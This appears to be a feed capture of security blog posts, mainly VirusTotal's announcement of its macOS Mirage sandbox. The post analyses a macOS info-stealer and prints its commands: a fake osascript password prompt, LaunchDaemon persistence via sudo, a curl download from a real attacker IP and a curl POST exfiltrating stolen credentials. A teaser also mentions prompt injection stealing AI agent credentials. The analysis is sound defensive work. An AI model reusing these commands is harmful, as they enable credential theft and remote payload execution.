❌

Reading view

↗️

Introducing macOS Mirage: Next-Generation Apple Silicon Dynamic Analysis and Sigma Detections

✇VirusTotal Blog
By: Karl Hiramoto

In November 2015, we released our first in-house macOS sandbox, Box of Apples, followed by an update in March 2018 that introduced HTML behavior reports, desktop screenshots, and process trees. Over the past decade, the macOS ecosystem and the threat landscape targeting it have changed dramatically. Apple transitioned its hardware architecture from Intel (x86_64) to Apple Silicon (ARM64), hardened its operating system security model, and deprecated legacy dynamic tracing mechanisms. At the same time, macOS threat actors have shifted toward native ARM64 binaries, multi-stage social engineering installers, credential-harvesting AppleScripts, and evasive infostealers.

Today, we are excited to introduce macOS Mirage, our brand-new, ground-up dynamic analysis sandbox built natively for Apple Silicon and macOS 26. macOS Mirage replaces Box of Apples as part of the VirusTotal Multi-Sandbox project, delivering high-fidelity behavioral telemetry, automated Sigma behavioral detections mapped to MITRE ATT&CK, and—exclusively within our Private Scanning product offering—full Interactive Live Analysis.

Why We Built macOS Mirage: Beyond Box of Apples

Box of Apples was designed for an era of Intel-based Macs and relied on dtrace scripts to monitor system calls. As macOS evolved, two structural shifts required a completely new approach:

  1. Native Apple Silicon (ARM64) Execution: Modern macOS applications and malware families are compiled natively for Apple Silicon or distributed as Universal Mach-O binaries. Running modern samples on legacy Intel hardware either fails outright or misses architecture-specific execution paths. macOS Mirage runs natively on bare-metal Apple Silicon hardware with Apple's native virtualization stack and macOS 26, ensuring authentic execution fidelity.
  2. Modern Kernel-Backed Behavioral Telemetry: In modern macOS releases, System Integrity Protection (SIP) restricts legacy dtrace hooks, and high syscall volumes could cause event drops. macOS Mirage uses modern, kernel-supported macOS security instrumentation to capture process creation, command-line arguments, file system modifications, persistence installation, and access to sensitive credential stores without losing events.
Capability Box of Apples (2015 / 2018) macOS Mirage (2026)
Hardware Architecture Intel (x86_64) Native Apple Silicon (ARM64)
Operating System OS X 10.11 El Capitan / 10.13 High Sierra Modern macOS (including macOS 26)
Supported Payloads Intel Mach-O bundles and basic installers ARM64 & Universal Mach-O, .dmg, .pkg, .app, .sh, .py, PDFs
Behavioral Telemetry Legacy dtrace syscall tracing Modern kernel-supported security telemetry & accurate process trees
Behavioral Detections Basic behavior tags Sigma behavioral rules, MITRE ATT&CK mapping, and YARA scanning
Dropped File Analysis Basic file list Automated extraction and recursive multi-engine scanning of dropped payloads
Network Capabilities Basic NAT egress Multi-mode networking (Internet, Simulated INetSim, HTTPS MITM, Tor, VPN) (Private Scanning exclusive)
Interactive Control Automated execution only Live Mouse, Keyboard & Clipboard Control (Private Scanning exclusive)

Rich GUI Execution and Persistence Tracking

Many macOS samples package their payloads inside disk images (.dmg) or application bundles (.app) that initialize graphical windows, register background services, or trigger system notifications during execution. macOS Mirage provides full graphics acceleration and desktop monitoring, capturing both visual screenshots and underlying system modifications in real time.

Dynamic detonation of a macOS application in macOS Mirage
Figure 1: Dynamic detonation of a macOS application in macOS Mirage, capturing both the application GUI and a macOS system notification alerting to a newly registered persistent background Login Item.
Full window management, 3D rendering, and Dock process tracking inside macOS Mirage
Figure 2: Full window management, 3D rendering, and Dock process tracking inside macOS Mirage.

In addition to capturing screenshots to show what a user would see on screen, macOS Mirage automatically monitors security-sensitive locations across the operating system, including:

  • Persistence Mechanisms: LaunchAgents, LaunchDaemons, Login Items, and cron jobs.
  • Shell & Environment Profiles: Modifications to .zshrc, .bashrc, .zshenv, and /etc/profile.
  • Credential & Privacy Stores: Unauthorized access to Keychain databases (login.keychain-db), browser cookie and credential stores, SSH keys, and the Transparency, Consent, and Control (TCC.db) database.
  • System & Network Configuration: Changes to /etc/hosts, /etc/resolv.conf, and /private/etc/sudoers.

New Behavioral Detections with Sigma Rules: Catching a macOS Info-Stealer in Action

To help analysts quickly identify malicious behavior without sifting through thousands of raw file and process events, macOS Mirage evaluates runtime telemetry against a curated library of macOS Sigma rules and maps every detection directly to MITRE ATT&CK techniques.

Let's look at a real-world example of a macOS info-stealer and credential-phishing sample analyzed by macOS Mirage on VirusTotal: be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878

When executed inside macOS Mirage, the binary (unix51436504) performs a multi-stage credential theft and persistence chain:

  1. AppleScript Password Phishing: The malware invokes /usr/bin/osascript to display a deceptive system prompt titled "Password Request" asking the user: "Please enter device password to continue."
  2. Local Credential Validation & LaunchDaemon Persistence: It validates the harvested password against local Directory Services (dscl . authonly) and invokes sudo -S to copy /tmp/daemonplist to /Library/LaunchDaemons/com.somedaemon.plist.
  3. Keychain, Browser & Notes Harvesting: The sample opens the user's Keychain (/Users/admin/Library/Keychains/login.keychain-db), Safari cookies (Cookies.binarycookies), Apple Notes database (NoteStore.sqlite), SSH keys (authorized_keys, known_hosts), and .zsh_history, staging the stolen files under /tmp/lksopo while continuously polling the clipboard via pbpaste.
  4. Secondary Payload Download, Exfiltration & Cleanup: Using ditto, the malware compresses the staging directory into /tmp/lksopo.zip, exfiltrates the archive via an HTTP POST request (curl -X POST), downloads a secondary bot payload (curl -o /tmp/binaryexe), and deletes the staging directory (rm -rf /tmp/lksopo) to cover its tracks.
macOS Mirage screenshot capturing deceptive AppleScript Password Request dialog
Figure 3: macOS Mirage screenshot capturing the deceptive AppleScript "Password Request" phishing dialog displayed by sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878.

From this single detonation, macOS Mirage automatically generates a high-confidence malicious verdict (macos_osascript_credential_phishing) and triggers 7 distinct Sigma rules spanning the entire attack lifecycle:

Sigma Rule Name Severity MITRE ATT&CK Matched Behavioral Telemetry
macos_osascript_credential_phishing High T1059.002, T1056.002 Execution of /usr/bin/osascript displaying fake password prompt: osascript -e set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution
macos_sensitive_credential_store_access High T1555.001, T1555.003, T1005 Unauthorized access by ./unix51436504 to /Users/admin/Library/Keychains/login.keychain-db and Safari Cookies.binarycookies
macos_esf_sensitive_file_access High T1555.001, T1555.003, T1005 Access to /private/etc/sudoers during privileged persistence installation: sudo -S cp /tmp/daemonplist /Library/LaunchDaemons/com.somedaemon.plist
macos_esf_suspicious_curl_download Medium T1105, T1071.001 Downloading secondary stage payload via curl -o /tmp/binaryexe http://193.178.159.129/web/bot
macos_network_upload_activity Medium T1041, T1567 Exfiltrating compressed credential archive via curl -X POST -H buildid: ... --data-binary @/tmp/lksopo.zip http://109.238.87.111/log
macos_data_destruction_tools Medium T1485, T1070.004 Anti-forensic removal of staging directory via rm -rf /tmp/lksopo
macos_http_tools_with_protocol_indicators Low T1071.001, T1105 Automated curl command-line execution with explicit http:// C2 protocol indicators

Hunting Related Threats with VirusTotal Intelligence Pivots

At the time of analysis, sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 was detected by only 6 out of 76 static antivirus engines. Moreover, during execution inside macOS Mirage, the first-stage dropper downloaded and executed a 12.9 MB universal Mach-O second-stage bot (f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c) alongside a LaunchDaemon persistence property list (d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678, 0/75 AV detections). When that second-stage binary is detonated in isolation, it exits in under a second because it depends on hidden state files (~/.bhost, ~/.phost, ~/.username, ~/.pwd) written to disk by the first-stage dropper. Because macOS Mirage tracks the full multi-stage process tree on macOS 26, analysts can pivot directly on runtime command lines, dropped artifacts, network URI patterns, and Sigma detections across VirusTotal Intelligence to uncover entire clusters of active macOS campaigns. For a complete reference of supported file and behavior query syntax, see the VirusTotal Search Modifiers Full List.

1. Process & Command-Line Pivots (behaviour_processes)

2. Dropped File & Hidden State File Pivots (behaviour_files)

3. C2 & Network Pivots (behaviour_network)

4. macOS Mirage Verdict, Sigma & MITRE ATT&CK Pivots

Sample / Dropped Artifact SHA-256 File Name / Role Static AV macOS Mirage Verdict
be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 unix51436504 (Universal Mach-O Stealer) 6 / 76 MALWARE / STEALER / PHISHING
01f9a24bd868a856909db5eb61be6f30939e402fd7dd2e40180ffe2406de5c35 chrome (Sibling Universal Mach-O Build) 6 / 76 MALWARE / STEALER / PHISHING
336c1ba08fb64d466e042e16f20bf0d1f3947e4430000be08c2b6698884de028 localfile~.arm64 (Native ARM64 Slice) 9 / 76 MALWARE / STEALER / PHISHING
c363180da38cac9e894b158a65eb3ad72eb31c24a6b16c00bbc3bfc276db32d5 macos-stealer-v2 (Related Stealer Cluster) 27 / 76 MALWARE / STEALER / PHISHING
f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c /private/tmp/binaryexe / .binaryexe (Dropped C2 Bot) 28 / 76 Dropped Second-Stage Implant
d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678 /Library/LaunchDaemons/com.somedaemon.plist 0 / 75 Dropped Persistence Property List

Interactive Live Analysis (Exclusive to Private Scanning)

While automated dynamic analysis and Sigma behavioral detections are available on VirusTotal reports, sophisticated macOS threats often require human interaction to detonate completely. Malware may hide behind multi-step custom installer wizards, require a password to unlock a disk image, or pause execution until realistic user input is provided—just like the "Password Request" dialog shown above.

To empower incident responders and malware analysts, Interactive Live Analysis with macOS Mirage is available exclusively as part of our Private Scanning product offering in Google Threat Intelligence and VirusTotal Enterprise:

  • Real-Time Mouse & Keyboard Control: Analysts can step directly into the running macOS 26 desktop inside their web browser to click buttons, navigate prompts, open Terminal, or manually interact with suspicious applications.
  • Host-to-Guest Clipboard ("Send as Keystrokes"): Analysts can paste passwords, decryption keys, URLs, or terminal commands from their local workstation directly into the sandbox VM as simulated keystrokes.
  • Extended Session Timeouts & Network Control: Interactive sessions can run for extended durations (up to 30 minutes) and can be configured with custom network routing modes—including full isolation, simulated internet services, HTTPS MITM inspection, or Tor routing.
  • Complete Tenant Privacy: All files, interactive sessions, screenshots, and behavioral reports generated in Private Scanning remain strictly isolated within your organization's private environment and are never shared publicly.
Selecting macOS Mirage and enabling Live Interaction inside Private Scanning
Figure 4: Selecting macOS Mirage and enabling Live Interaction inside the Private Scanning configuration modal.
Sending Clipboard Text as Keystrokes During Live Interaction
Figure 5: Using the "Send as keystrokes" clipboard bridge during a live interactive macOS Mirage session in Private Scanning.

Try It Out and Share Your Feedback

macOS Mirage is part of our ongoing commitment to expanding multi-platform dynamic analysis across VirusTotal and Google Threat Intelligence. To view the new behavioral reports on public samples, navigate to the Behavior tab on any macOS file report in VirusTotal to inspect process trees, file system changes, network activity, screenshots, and Sigma rule matches. Enterprise customers using Private Scanning can select MacOS Mirage directly from the scan configuration dialog to launch automated or live interactive sessions.

If you find any issues or have feature requests, please don't hesitate to contact us.

Happy hunting!

  •  
  • ↗️
↗️

A Vault with a Heap-View: The Uncomfortable Space Between AgentCore Harness and Identity

✇Unit 42
By: Niv Rabin

Analysis of how default configurations in AWS AgentCore Harness allow prompt injection to exfiltrate credentials, and key steps to secure your agents.

The post A Vault with a Heap-View: The Uncomfortable Space Between AgentCore Harness and Identity appeared first on Unit 42.

  •  
  • ↗️
↗️

The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution

✇Unit 42
By: Sara McBroom

Explore Unit 42 research on AI-enabled malware. Learn how existing behavioral detection and endpoint analytics stop AI-authored code before execution.

The post The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution appeared first on Unit 42.

  •  
  • ↗️
↗️

Unveiling Hidden Connections: JA4 Client Fingerprinting on VirusTotal

✇VirusTotal Blog
By: Karl Hiramoto
VirusTotal has incorporated a powerful new tool to fight against malware: JA4 client fingerprinting. This feature allows security researchers to track and identify malicious files based on the unique characteristics of their TLS client communications.

JA4: A More Robust Successor to JA3

JA4, developed by FoxIO, represents a significant advancement over the older JA3 fingerprinting method. JA3's effectiveness had been hampered by the increasing use of TLS extension randomization in https clients, which made fingerprints less consistent. JA4 was specifically designed to be resilient to this randomization, resulting in more stable and reliable fingerprints.

Unveiling the Secrets of the Client Hello

JA4 fingerprinting focuses on analyzing the TLS Client Hello packet, which is sent unencrypted from the client to the server at the start of a TLS connection. This packet contains a treasure trove of information that can uniquely identify the client application or its underlying TLS library. Some of the key elements extracted by JA4 include:
  • TLS Version: The version of TLS supported by the client.
  • Cipher Suites: The list of cryptographic algorithms the client can use.
  • TLS Extensions: Additional features and capabilities supported by the client.
  • ALPN (Application-Layer Protocol Negotiation): The application-level protocol, such as HTTP/2 or HTTP/3, that the client wants to use after the TLS handshake.

JA4 in Action: Pivoting and Hunting on VirusTotal

VirusTotal has integrated JA4 fingerprinting into its platform through the behavior_network file search modifier. This allows analysts to quickly discover relationships between files based on their JA4 fingerprints.

To find the JA4 value, navigate to the "behavior" section of the desired sample and locate the TLS subsection. In addition to JA4, you might also find JA3 or JA3S there.

Example Search: Let's say you've encountered a suspicious file that exhibits the JA4 fingerprint "t10d070600_c50f5591e341_1a3805c3aa63" during VirusTotal's behavioral analysis.

You can click on this JA4 to pivot using the search query behavior_network:t10d070600_c50f5591e341_1a3805c3aa63 finding other files with the same fingerprint This search will pivot you to additional samples that share the same JA4 fingerprint, suggesting they might be related. This could indicate that these files are part of the same malware family or share a common developer or simply share a common TLS library.

Wildcard Searches

To broaden your search, you can use wildcards within the JA4 hash. For instance, the search: behaviour_network:t13d190900_*_97f8aa674fd9

Returns files that match the JA4_A and JA4_C components of the JA4 hash while allowing for variations in the middle section, which often corresponds to the cipher suite. This technique is useful for identifying files that might use different ciphers but share other JA4 characteristics.

YARA Hunting Rules: Automating JA4-Based Detection

YARA hunting rules using the "vt" module can be written to automatically detect files based on their JA4 fingerprints. Here's an example of a YARA rule that targets a specific JA4 fingerprint:


This rules will flag any file submitted to VirusTotal that exhibits the matching JA4 fingerprint. The first example only matches "t12d190800_d83cc789557e_7af1ed941c26" during behavioral analysis. The second rule will match a regular expression /t10d070600_.*_1a3805c3aa63/, only matching JA4_A and JA4_C components, excluding the JA4_B cipher suite. These fingerprints could be linked to known malware, a suspicious application, or any TLS client behavior that is considered risky by security analysts.



JA4: Elevating Threat Hunting on VirusTotal

VirusTotal's adoption of JA4 client fingerprinting will provide users with an invaluable tool for dissecting and tracking TLS client behaviors, leading to enhanced threat hunting, pivoting, and more robust malware identification.

Happy Hunting.

  •  
  • ↗️
❌